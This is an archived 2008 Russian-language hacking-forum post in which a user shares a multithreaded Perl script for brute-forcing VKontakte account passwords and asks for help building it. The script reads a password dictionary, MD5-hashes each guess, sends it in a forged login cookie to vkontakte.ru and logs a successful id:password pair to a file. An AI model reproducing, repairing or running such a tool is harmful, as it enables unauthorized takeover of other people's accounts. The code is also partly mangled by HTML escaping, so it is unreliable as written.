Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Vkontakte Brute [Perl]

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [Программы для взлома] >> Vkontakte Brute [Perl]

Имя

Сообщение

<< Старые топики Новые топики >>

Vkontakte Brute [Perl] - 2008-10-18 20:58:21.460000

Herm

Сообщений: 218
Оценки: 0
Присоединился: 2008-08-15 21:08:09.063333

Вот недавно наткнулся на такой код.
Как я понял, это Перл.
Тока вот собрать так и не удалось…
Вот сам код…Поправьте, меня если я не прав пожалуйста:


 #!/usr/bin/perl 
 
 
 
 use IO::Socket; 
 
 use MD5; 
 
 use threads; 
 
 use threads::shared; 
 
 my @pass : shared; 
 
 
 
 ###################################### 
 
 # C!klodoL 
 
 # vkontakte.ru bruteforce with multi-threads 
 
 ###################################### 
 
 $dic = 'passl.txt'; #словарь паролей 
 
 $id = 111111; #id цели 
 
 $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40 
 
 $threads = 4; #количество потоков 
 
 ###################################### 
 
 
 
 open (pass, "&lt;$dic"); 
 
 
 
 Next: 
 
 @pass = pass(); 
 
 
 
 for(0..$threads) {$trl[$_] = threads-&gt;create(&Brut, $_);} 
 
 for(@trl) { $_-&gt;join; } 
 
 
 
 sub Brut 
 
 { 
 
 
 
 while (@pass){ 
 
 
 
 $pass = shift @pass; 
 
 
 
 $md5 = MD5-&gt;hexhash($pass); 
 
 $sock = IO::Socket::INET-&gt;new(Proto=&gt;'tcp',PeerAddr=&gt;'vkontakte.ru',PeerPor t=&gt;80); 
 
 print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". 
 
 "Host: vkontakte.ru\r\n". 
 
 "Accept: */*\r\n". 
 
 "Content-Type: application/x-www-form-urlencoded\r\n". 
 
 "User-Agent: Mozillo\r\n". 
 
 "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". 
 
 "Connection: close\r\n\r\n"; 
 
 $answ = &lt;$sock&gt;; 
 
 close $sock; 
 
 print "$pass $answ"; 
 
 if ($answ =~ /302/){ 
 
 open (good, '&gt;&gt;good.txt'); 
 
 print good "$id:$pass:$md5\n"; 
 
 print "$id:$pass:$md5\n"; 
 
 close good; 
 
 exit;} 
 
 } 
 
 
 
 } 
 
 
 
 goto Next; 
 
 
 
 sub pass 
 
 { 
 
 my (@mas); 
 
 while (&lt;pass&gt;){ 
 
 push @mas, $_; 
 
 last if (@mas == 400); 
 
 } 
 
 chomp @mas; 
 
 return @mas; 
 
 }

Спасибо:)